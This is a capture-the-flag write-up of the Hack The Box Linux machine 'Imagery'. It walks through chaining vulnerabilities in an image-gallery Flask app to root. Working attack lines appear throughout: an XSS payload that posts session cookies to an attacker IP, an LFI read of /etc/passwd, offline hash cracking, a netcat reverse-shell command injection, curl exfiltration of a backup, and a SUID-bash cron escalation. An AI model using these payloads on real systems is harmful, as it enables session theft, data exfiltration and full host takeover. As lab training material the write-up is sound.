Writeup: Imagery
Hack The Box Write-up: Imagery (Medium)
This write-up covers the Hack The Box machine Imagery, a Medium difficulty Linux box revolving around a vulnerable image gallery web app. The main attack vectors include web vulnerabilities like XSS and LFI leading to Remote Code Execution (RCE), and a privilege escalation path via a custom backup utility with cron job abuse. The blog explains enumeration, exploitation, and privilege escalation while highlighting useful techniques and pitfalls.
Enumeration
Running a default nmap scan provided the following key results:
λ | nmap -sV -sC 10.10.11.88 -o imagery.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 15:26 EDT
Nmap scan report for 10.10.11.88
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP service on port 8000 hosts an Image Gallery web app running on Werkzeug with Python 3.12.7.
Initial Web Analysis: XSS and LFI
The entire webpage and routes seemed to be contained in the one file. As well as the code for the admin backend. Here we see a code blog that displays reported bugs. However interesting enough the bug details are note sanitized:
const reportCard = document.createElement('div'); reportCard.className =
'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex
justify-between items-center'; reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">
Report ID: ${DOMPurify.sanitize(report.id)}
</p>
<p class="text-sm text-gray-500 mb-2">
Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID:
${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new
Date(report.timestamp).toLocaleString()}
</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">
Bug Name: ${DOMPurify.sanitize(report.name)}
</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div
class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words"
>
${report.details}
</div>
</div>
<button
onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')"
class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4"
>
Delete
</button>
`; bugReportsList.appendChild(reportCard);
We can test if report.details is actual vulnerable by first doing a simple
img src.
<img src="http://10.10.14.162/test.png">
And running a simple http server with python.
python -m http.server 80
We get a call back, so now lets try and add some code.
For example:
<img src/onerror="fetch('http://10.10.14.162', { method: 'POST', mode: 'no-cors', body:document.cookie });">
This XSS flaw leads to cookie theft, now we the admin session. We swap our cookies and enter as the admin.
Continuing when further going through the source we can see an LFI (Local File Inclusion) vulnerability:
http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwd
Which returned:
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
The LFI lets us read arbitrary files on the server, crucial for further enumeration.
Investigating the Application (app.py)
Examining application source files revealed key information:
- The app uses Flask with various blueprints for modular routes.
- Passwords are stored as MD5 hashes.
- Admin and testuser account hashes:
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6
- The testuser password was cracked offline with hashcat:
hashcat -m 0 -a 0 hashes.txt ~wordlists/rockyou.txt
resulting in: 2c65c8d7bfbca32a3ed42596192384f6 → iambatman.
Remote Code Execution via Image Transformation
With access to the test user we can try out the experimental features. First we
take a look at the api_edit.py blueprint which we get via the LFI:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
The parameters x and y are not sanitized, allowing command injection. As
these are just append to the string.
Testing command injection payload:
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash
With on the host running:
nc -lvnp 9000
Spawned a reverse shell successfully, only closing directly after. So we add a
sleep to keep the connection open.
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash && sleep 10000
User Escalation to "mark"
No initial password found for mark. After further enumeration, a backup file
was found using linpeas.
We can downloaded this backup back to our host
curl -X POST https://10.10.14.162:4443/upload -F 'files=@/var/backup/web_20250806_120723.zip.aes' --insecure
Running file on it show that it has been encrypted using pyAesCrypt. So we let ChatGPT make a little python password bruteforcer and crack it using the rockyou wordlist:
./crack.py -e backup.zip.aes -w ~wordlists/rockyou.txt
=== SUCCESS ===
Password found (line 670): 'bestfriends'
Decrypted file written to: decrypted.bin
Attempts: 670
Done.
Inside the backup’s db.json file, credentials for mark@imagery.htb were
found with an MD5 hash (01c3d2e5bdaf6134cec0a367cf53e535).
Using hashcat again, the hash was cracked as:
01c3d2e5bdaf6134cec0a367cf53e535 : supersmash
This password allowed us to switch to user mark using su and capturing the
user flag.
Privilege Escalation to Root
Checking sudo permissions for mark:
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=...
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
charcol is a backup utility permitting cron job additions.
Adding a cron job to change the SUID bit on bash:
charcol add --schedule "* * * * *" --name root --command "chmod +s /bin/bash"
Which we then can utilize by running:
/bin/bash -p
This launches a shell with root privileges.
Finally, we get root flag:
cat /root/root.txt
8a768616559f07cd2e87966380f540c8
Lessons Learned
- Closely evaluate source code, checking for missing sanitization or injection possibilities.
- Password hashes can often be cracked offline with rockyou or other wordlists.
- Custom utilities with sudo rights are prime privilege escalation targets, especially if they allow cron job scheduling.
